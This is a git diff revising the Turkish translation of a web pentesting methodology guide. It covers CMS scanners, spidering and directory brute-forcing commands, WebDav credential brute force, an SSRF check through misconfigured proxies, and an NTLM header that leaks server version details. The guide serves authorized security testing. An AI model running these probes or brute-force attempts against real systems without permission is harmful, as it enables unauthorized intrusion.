[**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\ -**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **veya** [**(M)oodle**](moodle.md)\ +**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **or** [**(M)oodle**](moodle.md)\ [**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md) ```bash cmsmap [-f W] -F -d @@ -150,15 +149,15 @@ wpscan --force update -e --url joomscan --ec -u joomlavs.rb #https://github.com/rastating/joomlavs ``` -> Bu noktada, istemci tarafından kullanılan web sunucusuna ilişkin bazı bilgilere (veri sağlandıysa) ve test sırasında akılda tutulması gereken bazı ipuçlarına zaten sahip olmalısınız. Şanslıysanız bir CMS bulmuş ve bazı scanner çalıştırmışsınızdır. +> Bu noktada (eğer herhangi bir veri verildiyse) müşteri tarafından kullanılan web sunucusuna dair bazı bilgilere ve test sırasında akılda tutulması gereken bazı ipuçlarına zaten sahip olmalısınız. Şanslıysanız bir CMS bulmuş ve bir scanner çalıştırmış bile olabilirsiniz. -## Adım adım Web Uygulaması Keşfi +## Adım adım Web Uygulama Keşfi -> Bu noktadan itibaren web uygulaması ile etkileşime girmeye başlayacağız. +> Bu noktadan itibaren web uygulaması ile etkileşime geçmeye başlayacağız. -### İlk kontroller +### Başlangıç kontrolleri -**Varsayılan sayfalar (ilginç bilgiler içerebilen):** +**İlgi çekici bilgi içeren varsayılan sayfalar:** - /robots.txt - /sitemap.xml @@ -167,28 +166,28 @@ joomlavs.rb #https://github.com/rastating/joomlavs - /.well-known/ - Ana ve ikincil sayfalardaki yorumları da kontrol edin. -**Hataları zorlamak** +**Hata tetikleme** -Web sunucuları garip veriler gönderildiğinde **beklenmedik davranabilir**. Bu, **güvenlik açıklarına** veya **hassas bilgilerin ifşasına** yol açabilir. +Web sunucuları onlara garip veri gönderildiğinde **beklenmedik şekilde davranabilir**. Bu, **vulnerabilities** açabilir veya **sensitive information** ifşa edebilir. -- Erişin **sahte sayfalara** like /whatever_fake.php (.aspx,.html,.etc) -- **"\[]", "]]", ve "\[["** öğelerini **cookie değerlerine** ve **parametre** değerlerine ekleyin; hatalara yol açabilir -- Hata üretmek için girdi olarak **`/~randomthing/%s`**'i URL'in **sonuna** verin -- PATCH, DEBUG gibi **farklı HTTP yöntemleri** deneyin veya FAKE gibi yanlış bir tane deneyin +- /whatever_fake.php (.aspx,.html,.etc) gibi **sahte sayfalara** erişin +- Hata oluşturmak için **cookie değerlerine** ve **parametre** değerlerine **"\[]", "]]", ve "\[["** ekleyin +- URL'nin **sonuna** **`/~randomthing/%s`** girerek hata oluşturun +- PATCH, DEBUG gibi **farklı HTTP Verbs** deneyin veya FAKE gibi yanlış bir verb kullanın #### **Dosya yükleyip yükleyemeyeceğinizi kontrol edin (**[**PUT verb, WebDav**](put-method-webdav.md)**)** -Eğer **WebDav**'ın **etkin** olduğunu ama root klasöründe **dosya yükleme** için yeterli izniniz olmadığını görürseniz şunları deneyin: +Eğer **WebDav** etkinse fakat kök dizinde **dosya yükleme** için yeterli izniniz yoksa şunları deneyin: -- Kimlik bilgileri için **Brute Force** yapın -- **WebDav** aracılığıyla web sayfası içinde bulunan diğer klasörlere **dosya yükleyin**. Başka klasörlerde dosya yükleme izniniz olabilir. +- **Brute Force** ile credentials +- WebDav aracılığıyla web sayfası içindeki bulunan diğer klasörlere **dosya yükleyin**. Diğer klasörlere dosya yükleme izniniz olabilir. ### **SSL/TLS zafiyetleri** -- Uygulama herhangi bir kısımda kullanıcıyı HTTPS kullanmaya zorlamıyorsa, **MitM** saldırısına açıktır -- Uygulama hassas verileri (parolalar) HTTP üzerinden **gönderiyorsa**, bu yüksek önemli bir güvenlik açığıdır. +- Uygulama hiçbir yerde kullanıcıyı **HTTPS kullanmaya zorlamıyorsa**, MitM için açıktır +- Uygulama hassas verileri (şifreler) **HTTP üzerinden gönderiyorsa**, bu yüksek önemde bir güvenlik açığıdır -Güvenlik açıklarını kontrol etmek için [**testssl.sh**](https://github.com/drwetter/testssl.sh) kullanın (Bug Bounty programlarında muhtemelen bu tür zafiyetler kabul edilmeyecektir) ve zafiyetleri yeniden kontrol etmek için [**a2sv** ](https://github.com/hahwul/a2sv) kullanın: +[**testssl.sh**](https://github.com/drwetter/testssl.sh) kullanarak **vulnerabilities** için kontrol edin (Bug Bounty programlarında muhtemelen bu tür zafiyetler kabul edilmeyecektir) ve zafiyetleri tekrar kontrol etmek için [**a2sv**](https://github.com/hahwul/a2sv) kullanın: ```bash ./testssl.sh [--htmlfile] 10.10.10.10:443 #Use the --htmlfile to save the output inside an htmlfile also @@ -197,58 +196,58 @@ Güvenlik açıklarını kontrol etmek için [**testssl.sh**](https://github.com sslscan sslyze --regular ``` -Information about SSL/TLS vulnerabilities: +SSL/TLS zafiyetleri hakkında bilgiler: - [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/) - [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/) ### Spidering -Test edilen uygulamadan mümkün olduğunca çok yol bulmak için bir tür **spider** başlatın. Spider'ın amacı, test edilen uygulamadan mümkün olduğunca çok geçiş yolu **bulmaktır**. Bu yüzden web crawling ve harici kaynaklar kullanılarak mümkün olduğunca çok geçerli yol bulunmalıdır. +Ağ içinde bir tür **spider** başlatın. Spider'ın amacı, test edilen uygulamadan **mümkün olduğunca çok path bulmaktır**. Bu nedenle, geçerli path'leri bulmak için web crawling ve harici kaynaklar kullanılmalıdır. -- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files ve harici kaynaklar (Archive.org, CommonCrawl.org, VirusTotal.com). -- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, JS dosyaları için LinkFider ve Archive.org'u harici kaynak olarak kullanır. +- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, JS dosyalarındaki LinkFinder ve harici kaynaklar (Archive.org, CommonCrawl.org, VirusTotal.com) kullanır. +- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HTML spider, JS dosyaları için LinkFinder ve Archive.org gibi harici kaynaklar kullanır. - [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, ayrıca "juicy files" gösterir. - [**evine** ](https://github.com/saeeddhqan/evine)(go): Etkileşimli CLI HTML spider. Ayrıca Archive.org'da arama yapar. -- [**meg**](https://github.com/tomnomnom/meg) (go): Bu araç bir spider olmasa da faydalı olabilir. Hosts içeren bir dosya ve path'ler içeren bir dosya belirtebilir ve meg her host üzerindeki her path'i fetch edip cevabı kaydeder. -- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS rendering kabiliyetine sahip HTML spider. Ancak bakılacak olursa bakımı yapılmıyor gibi, ön-derlenmiş sürüm eski ve mevcut kod derlenmiyor. +- [**meg**](https://github.com/tomnomnom/meg) (go): Bu araç bir spider değil ama faydalı olabilir. Hosts içeren bir dosya ve path'ler içeren bir dosya belirtirseniz, meg her host üzerindeki her path'i çeker ve cevabı kaydeder. +- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS render yeteneklerine sahip HTML spider. Ancak, görünüşe göre bakımı yapılmıyor; önceden derlenmiş sürüm eski ve mevcut kod derlenmiyor. - [**gau**](https://github.com/lc/gau) (go): Harici sağlayıcıları (wayback, otx, commoncrawl) kullanan HTML spider. -- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Bu script parametreli URL'leri bulur ve listeler. -- [**galer**](https://github.com/dwisiswant0/galer) (go): JS rendering kabiliyetine sahip HTML spider. -- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, JS beautify kabiliyetleri ile JS dosyalarında yeni path'ler arayabilir. Ayrıca [JSScanner](https://github.com/dark-warlord14/JSScanner) adlı, LinkFinder sarmalayıcısına bakmak da faydalı olabilir. -- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Hem HTML kaynağından hem de gömülü javascript dosyalarından endpoint çıkarmak için. Bug hunterlar, red teamerlar, infosec uzmanları için faydalı. -- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Tornado ve JSBeautifier kullanan bir python 2.7 scripti; JavaScript dosyalarından relative URL'leri parse eder. AJAX isteklerini keşfetmek için kullanışlı. Bakımı görünüşe göre yapılmıyor. -- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Bir dosya (HTML) verildiğinde, minify edilmiş çirkin dosyalardan relatif URL'leri bulup çıkarmak için şık bir regex kullanır. -- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Birkaç araç kullanarak JS dosyalarından ilginç bilgiler toplar. +- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): URL'lerde parametre bulan ve listeleyen bir script. +- [**galer**](https://github.com/dwisiswant0/galer) (go): JS render yeteneklerine sahip HTML spider. +- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, JS beautify yetenekleri ile JS dosyalarında yeni path'ler arayabilir. Ayrıca LinkFinder'ın bir wrapper'ı olan [JSScanner](https://github.com/dark-warlord14/JSScanner) da göz atmaya değerdir. +- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Hem HTML kaynağında hem de gömülü javascript dosyalarında endpoint çıkarmak için. Bug hunter'lar, red team'ler, infosec uzmanları için kullanışlı. +- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Tornado ve JSBeautifier kullanan, JavaScript dosyalarından relatif URL'leri parse eden bir python 2.7 script'i. AJAX isteklerini keşfetmede faydalı. Görünüşe göre bakımı yapılmıyor. +- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Bir dosya (HTML) verildiğinde, minify edilmiş dosyalardan relatif URL'leri bulup çıkarmak için akıllı regex kullanır. +- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): Çeşitli araçlar kullanarak JS dosyalarından ilginç bilgiler toplar. - [**subjs**](https://github.com/lc/subjs) (go): JS dosyalarını bulur. -- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Bir sayfayı headless browser'da yükler ve sayfayı yüklemek için yüklenen tüm url'leri yazdırır. -- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Önceki araçların birkaç seçeneğini harmanlayan content discovery aracı. -- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS dosyalarındaki path ve paramları bulmak için bir Burp extension. -- [**Sourcemapper**](https://github.com/denandz/sourcemapper): .js.map URL'i verildiğinde beautified JS kodunu almanızı sağlayan araç. -- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Belirli bir hedef için endpoint'leri keşfetmek için kullanılan araç. -- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** wayback machine'den link'ler keşfet (ayrıca wayback'teki cevapları indirip daha fazla link arar). -- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Crawl eder (form doldurarak bile) ve ayrıca belirli regex'ler kullanarak hassas bilgileri bulur. -- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite, siber güvenlik profesyonelleri için tasarlanmış gelişmiş çok özellikli bir GUI web security Crawler/Spider'dır. -- [**jsluice**](https://github.com/BishopFox/jsluice) (go): JavaScript kaynak kodundan URL'ler, path'ler, secret'lar ve diğer ilginç verileri çıkarmak için bir Go paketi ve [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice). -- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge, request'ten parametreleri ve endpoint'leri çıkarmak için basit bir **Burp Suite extension**'dır; fuzzing ve enumeration için custom wordlist oluşturur. +- [**page-fetch**](https://github.com/detectify/page-fetch) (go): Bir sayfayı headless browser ile yükler ve sayfayı yüklemek için çağrılan tüm url'leri yazdırır. +- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Önceki araçların çeşitli seçeneklerini harmanlayan content discovery aracı. +- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): JS dosyalarında path ve param bulmak için bir Burp extension. +- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Verilen .js.map URL'si ile beautified JS kodunu almanızı sağlayan araç. +- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Belirli bir hedef için endpoint keşfi yapan araç. +- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** wayback machine'den link keşfi (aynı zamanda wayback'teki cevapları indirip daha fazla link arar). +- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Form doldurma dahil tarama yapar ve belirli regexlerle hassas bilgi bulur. +- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite, siber güvenlik profesyonelleri için tasarlanmış gelişmiş çok özellikli GUI web security Crawler/Spider'dır. +- [**jsluice**](https://github.com/BishopFox/jsluice) (go): JavaScript kaynak kodundan URL, path, secret ve diğer ilginç verileri çıkarmak için bir Go paketi ve [komut satırı aracı](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice). +- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge, istekteki parametreleri ve endpoint'leri çıkarmak için basit bir **Burp Suite extension**'dır; fuzzing ve enumeration için özel wordlist oluşturmayı sağlar. - [**katana**](https://github.com/projectdiscovery/katana) (go): Bu iş için harika bir araç. -- [**Crawley**](https://github.com/s0rg/crawley) (go): Bulabildiği her link'i yazdırır. +- [**Crawley**](https://github.com/s0rg/crawley) (go): Bulabildiği her linki yazdırır. ### Brute Force directories and files -Kök klasörden **brute-forcing** yapmaya başlayın ve **bu yöntemi** kullanarak bulunan **tüm dizinleri** ve **Spidering** ile **keşfedilen** tüm dizinleri brute-force yaptığınızdan emin olun (bu brute-forcing'i **özyinelemeli** olarak yapabilir ve kullanılan wordlist'in başına bulunan dizin isimlerini ekleyebilirsiniz).\ +Root klasörden **brute-forcing** yapmaya başlayın ve bulunan tüm **directories** üzerinde **brute-forcing** yaptığınızdan emin olun; bunu **bu yöntemle** ve **Spidering** tarafından keşfedilen tüm dizinlerde uygulayın (bunu rekürsif olarak yapabilir ve kullanılan wordlist'in başına bulunan dizinlerin isimlerini ekleyebilirsiniz).\ Araçlar: -- **Dirb** / **Dirbuster** - Kali'de dahil, **eski** (ve **yavaş**) ama işlevsel. Auto-signed sertifikaları ve recursive search'e izin verir. Diğer seçeneklerle karşılaştırıldığında çok yavaş. -- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Auto-signed sertifikalara izin vermiyor ama** recursive search'e izin veriyor. -- [**Gobuster**](https://github.com/OJ/gobuster) (go): Auto-signed sertifikalara izin verir, ancak **recursive** arama özelliği **yoktur**. -- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Hızlı, recursive search destekler.** +- **Dirb** / **Dirbuster** - Kali içinde gelir, **old** (ve **slow**) ama iş görür. Otomatik imzalı sertifikalara izin verir ve rekürsif aramayı destekler. Diğer seçeneklerle karşılaştırıldığında çok yavaş. +- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Otomatik imzalı sertifikalara izin vermez ama rekürsif aramayı destekler. +- [**Gobuster**](https://github.com/OJ/gobuster) (go): Otomatik imzalı sertifikalara izin verir, ancak **rekürsif** arama özelliği **yoktur**. +- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Hızlı, rekürsif aramayı destekler.** - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` - [**ffuf** ](https://github.com/ffuf/ffuf)- Hızlı: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` -- [**uro**](https://github.com/s0md3v/uro) (python): Bu bir spider değil ama bulunan URL listesi verildiğinde "duplicated" URL'leri silen bir araç. -- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Farklı sayfaların burp history'sinden dizin listesi oluşturmak için Burp Extension. -- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): js import'larına dayalı olarak benzer işlevli URL'leri kaldırır. -- [**Chamaleon**](https://github.com/iustin24/chameleon): Kullandığı teknolojileri tespit etmek için wapalyzer kullanır ve kullanılacak wordlist'leri seçer. +- [**uro**](https://github.com/s0md3v/uro) (python): Bu bir spider değil, ancak bulunan URL listesi verildiğinde "çift" URL'leri siler. +- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp history'sinden farklı sayfaların dizin listesini oluşturmak için Burp Extension. +- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): JS import'larına dayalı olarak fonksiyonellikleri duplicate olan URL'leri kaldırır. +- [**Chamaleon**](https://github.com/iustin24/chameleon): Kullanılan teknolojileri tespit etmek için wapalyzer kullanır ve kullanılacak wordlist'leri seçer. **Önerilen sözlükler:** @@ -269,41 +268,41 @@ Araçlar: - _/usr/share/wordlists/dirb/big.txt_ - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_ -_Yeni bir dizin brute-forcing veya spidering sırasında keşfedildiğinde, her zaman o dizinin Brute-Force edilmesi gerektiğini unutmayın._ +_Not: Yeni bir dizin spidering veya brute-forcing sırasında keşfedildiğinde, o dizin mutlaka Brute-Forced edilmelidir._ ### What to check on each file found -- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): HTML içindeki broken link'leri bulun; bu link'ler takeover'a açık olabilir. -- **File Backups**: Tüm dosyaları bulduktan sonra, tüm executable dosyaların yedeklerini arayın ("_.php_", "_.aspx_" ...). Yaygın yedek isimlendirme varyasyonları: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp ve file.old._ Ayrıca [**bfac**](https://github.com/mazen160/bfac) **veya** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** araçlarını** kullanabilirsiniz. -- **Discover new parameters**: Gizli parametreleri keşfetmek için [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **ve** [**Param Miner**](https://github.com/PortSwigger/param-miner) gibi araçları kullanabilirsiniz. Mümkünse, her executable web dosyasında gizli parametreleri arayın. +- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): HTML içinde takeover'lara açık olabilecek kırık linkleri bulur. +- **File Backups**: Tüm dosyaları bulduktan sonra, tüm yürütülebilir dosyaların yedeklerini arayın ("_.php_", "_.aspx_"...). Yedek isimlendirmesi için yaygın varyasyonlar: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp ve file.old._ Ayrıca [**bfac**](https://github.com/mazen160/bfac) **veya** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen) araçlarını kullanabilirsiniz. +- **Discover new parameters**: Gizli parametreleri keşfetmek için [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **ve** [**Param Miner**](https://github.com/PortSwigger/param-miner) gibi araçları kullanabilirsiniz. Mümkünse, her yürütülebilir web dosyasında gizli parametreleri aramaya çalışın. - _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) -- **Comments:** Tüm dosyaların yorumlarını kontrol edin; **credentials** veya **hidden functionality** bulabilirsiniz. -- Eğer **CTF** oynuyorsanız, "yaygın" bir numara, sayfanın **sağ** tarafına (kaynak kodunu tarayıcıyla açtığınızda veriyi görmemeniz için **yüzlerce** boşluk kullanarak) yorum içinde **bilgi gizlemektir**. Diğer bir olasılık, birkaç yeni satır kullanıp web sayfasının **altında** bir yorum içinde bilgi gizlemektir. -- **API keys**: Herhangi bir API key bulursanız, farklı platformların API key'lerini nasıl kullanacağınıza dair kılavuzlar vardır: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) -- Google API keys: AIza ile başlayan bir API key (ör: **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik) bulursanız, key'in hangi apilere erişebildiğini kontrol etmek için [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) projesini kullanabilirsiniz. -- **S3 Buckets**: Spidering sırasında herhangi bir **subdomain** veya herhangi bir **link** bir **S3 bucket** ile ilişkili mi diye bakın. Bu durumda, [**bucket'ın permissions**'ını kontrol edin](buckets/index.html). +- **Comments:** Tüm dosyaların yorumlarını kontrol edin; **credentials** veya **gizli fonksiyonellik** bulabilirsiniz. +- Eğer **CTF** oynuyorsanız, yaygın bir hile sayfanın **sağ tarafına** (tarayıcıyla kaynak kodunu açtığınızda görünmeyecek şekilde) yüzlerce boşluk kullanarak **bilgi saklamak** veya birkaç yeni satır ile sayfanın **altına** yorum içinde bilgi **gizlemek** olabilir. +- **API keys**: Herhangi bir API key bulursanız, farklı platformların API key'lerini nasıl kullanacağınızla ilgili rehberler şunlardır: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) +- Google API keys: **AIza** ile başlayan bir API key bulursanız (örnek: **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik), hangi API'lere erişebildiğini kontrol etmek için [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) projesini kullanabilirsiniz. +- **S3 Buckets**: Spidering sırasında herhangi bir **subdomain** veya herhangi bir **link**in bir **S3 bucket** ile ilişkili olup olmadığına bakın. Bu durumda, bucket'ın [**permissions**ini kontrol edin](buckets/index.html). ### Special findings -**Spidering** ve **brute-forcing** gerçekleştirirken fark etmeniz gereken **ilginç** **şeyler** bulabilirsiniz. +**Spidering** ve **brute-forcing** yaparken fark etmeniz gereken **ilginç** şeyler bulabilirsiniz. **Interesting files** -- **CSS** dosyaları içinde diğer dosyalara işaret eden **link**ler arayın. -- [Eğer bir _**.git**_ dosyası bulursanız bazı bilgiler çıkartılabilir](git.md) +- CSS dosyaları içinde diğer dosyalara işaret eden **link**'leri arayın. +- [Eğer bir _**.git**_ dosyası bulursanız bazı bilgiler çıkarılabilir](git.md) - Eğer bir _**.env**_ bulursanız, api key'ler, db şifreleri ve diğer bilgiler bulunabilir. -- Eğer **API endpoints** bulursanız, bunları da [test etmelisiniz](web-api-pentesting.md). Bunlar dosya olmayabilir, ama muhtemelen dosya gibi "görüneceklerdir". -- **JS files**: Spidering bölümünde JS dosyalarından path çıkartabilen araçlardan bahsedildi. Ayrıca bulunan her JS dosyasını **monitor** etmek ilginç olabilir; bazı durumlarda bir değişiklik, kodda potansiyel bir zafiyetin eklendiğini gösterebilir. Örneğin [**JSMon**](https://github.com/robre/jsmon)** kullanılabilir.** -- Keşfedilen JS dosyalarını [**RetireJS**](https://github.com/retirejs/retire.js/) veya [**JSHole**](https://github.com/callforpapers-source/jshole) ile kontrol ederek zafiyet içerip içermediğine bakmalısınız. +- Eğer **API endpoints** bulursanız, onları [test etmelisiniz](web-api-pentesting.md). Bunlar dosya değillerdir ama muhtemelen dosya gibi "görünebilirler". +- **JS files**: Spidering bölümünde JS dosyalarından path çıkarabilen birçok araç listelendi. Ayrıca, bulunan her JS dosyasını **izlemek** ilginç olabilir; bazı durumlarda bir değişiklik, koda yeni bir zafiyet eklendiğinin göstergesi olabilir. Örneğin [**JSMon**](https://github.com/robre/jsmon) kullanılabilir. +- Keşfedilen JS dosyalarını ayrıca zafiyet için [**RetireJS**](https://github.com/retirejs/retire.js/) veya [**JSHole**](https://github.com/callforpapers-source/jshole) ile kontrol etmelisiniz. - **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) - **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)) - **TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` -- Birçok durumda, kullanılan regular expression'ları anlamanız gerekecektir. Bunun için faydalı olabilir: [https://regex101.com/](https://regex101.com) veya [https://pythonium.net/regex](https://pythonium.net/regex) -- Formların tespit edildiği dosyaları da monitor edebilirsiniz; parametredeki bir değişiklik veya yeni bir formun ortaya çıkışı potansiyel yeni bir vulnerable fonksiyonu gösterebilir. +- Birçok durumda kullanılan regular expression'ları anlamanız gerekecektir. Bunun için yararlı araçlar: [https://regex101.com/](https://regex101.com) veya [https://pythonium.net/regex](https://pythonium.net/regex) +- Formların tespit edildiği dosyaları da izleyebilirsiniz; parametredeki bir değişim veya yeni bir formun ortaya çıkması potansiyel yeni bir zafiyetin göstergesi olabilir. **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)** @@ -314,21 +313,21 @@ _Yeni bir dizin brute-forcing veya spidering sırasında keşfedildiğinde, her **502 Proxy Error** -Eğer herhangi bir sayfa bu **kodla** cevap veriyorsa, muhtemelen **yanlış yapılandırılmış bir proxy** vardır. **Eğer şu şekilde bir HTTP isteği gönderirseniz: `GET https://google.com HTTP/1.1`** (host header ve diğer yaygın header'lar ile), **proxy** _**google.com**_'a erişmeye çalışacak ve böylece bir** SSRF** bulmuş olacaksınız. +Eğer herhangi bir sayfa bu kod ile cevap veriyorsa, muhtemelen hatalı yapılandırılmış bir proxy vardır. **GET https://google.com HTTP/1.1** gibi bir HTTP isteği gönderirseniz (host header ve diğer yaygın header'larla birlikte), proxy _**google.com**_'a erişmeye çalışacak ve böylece bir SSRF bulmuş olacaksınız. **NTLM Authentication - Info disclosure** -Eğer authentication isteyen sunucu **Windows** ise ya da domain adı soran bir login görürseniz, bir **information disclosure** provoke edebilirsiniz.\ -Aşağıdaki **header**'ı gönderin: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` ve NTLM authentication'ın çalışma şekli nedeniyle, sunucu "WWW-Authenticate" header'ı içinde internal bilgi (IIS version, Windows version...) ile cevap verecektir.\ -Bunu otomatikleştirmek için **nmap plugin** "_http-ntlm-info.nse_" kullanabilirsiniz. +Eğer authentication isteyen sunucu **Windows** ise veya giriş bölümü sizden **credentials** (ve **domain** adı) istiyorsa, bir **information disclosure** tetikleyebilirsiniz.\ +Aşağıdaki header'ı **gönderin**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` ve NTLM authentication'ın çalışma şekli gereği, sunucu cevap header'ı "WWW-Authenticate" içinde iç ağ bilgilerini (IIS versiyonu, Windows versiyonu...) döndürecektir.\ +Bunu otomatikleştirmek için **nmap plugin** "_http-ntlm-info.nse_" kullanılabilir. **HTTP Redirect (CTF)** -Bir **Redirection** içinde içerik koymak mümkündür. Bu içerik **kullanıcıya gösterilmez** (tarayıcı redirect'i gerçekleştireceğinden) ama burada bir şey **gizlenmiş** olabilir. +Bir **Redirection** içine içerik koymak mümkündür. Bu içerik **kullanıcıya gösterilmeyecek** (tarayıcı yönlendirmeyi gerçekleştirecektir) ancak yönlendirme içinde bir şey **saklanmış** olabilir. ### Web Vulnerabilities Checking -Web uygulamasının kapsamlı bir enumerasyonu yapıldıktan sonra birçok olası zafiyeti kontrol etme zamanı. Kontrol listesi burada bulunabilir: +Web uygulamasının kapsamlı bir enumerasyonu yapıldıktan sonra, birçok olası zafiyet için kontrol zamanı. Kontrol listesi burada bulunuyor: {{#ref}} @@ -343,7 +342,7 @@ Web zafiyetleri hakkında daha fazla bilgi: ### Monitor Pages for changes -Sayfalardaki değişiklikleri izlemek için [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gibi araçları kullanabilirsiniz; bu değişiklikler zafiyetlerin eklenmesine neden olabilir. +Sayfalarda zafiyet eklenebilecek değişiklikleri izlemek için [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gibi araçları kullanabilirsiniz. ### HackTricks Automatic Commands ``` diff --git a/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md b/src/network-services-pentesting/pentesting-web/electron-desktop-apps/README.md index b5d52650e..d2db09fc1 100644 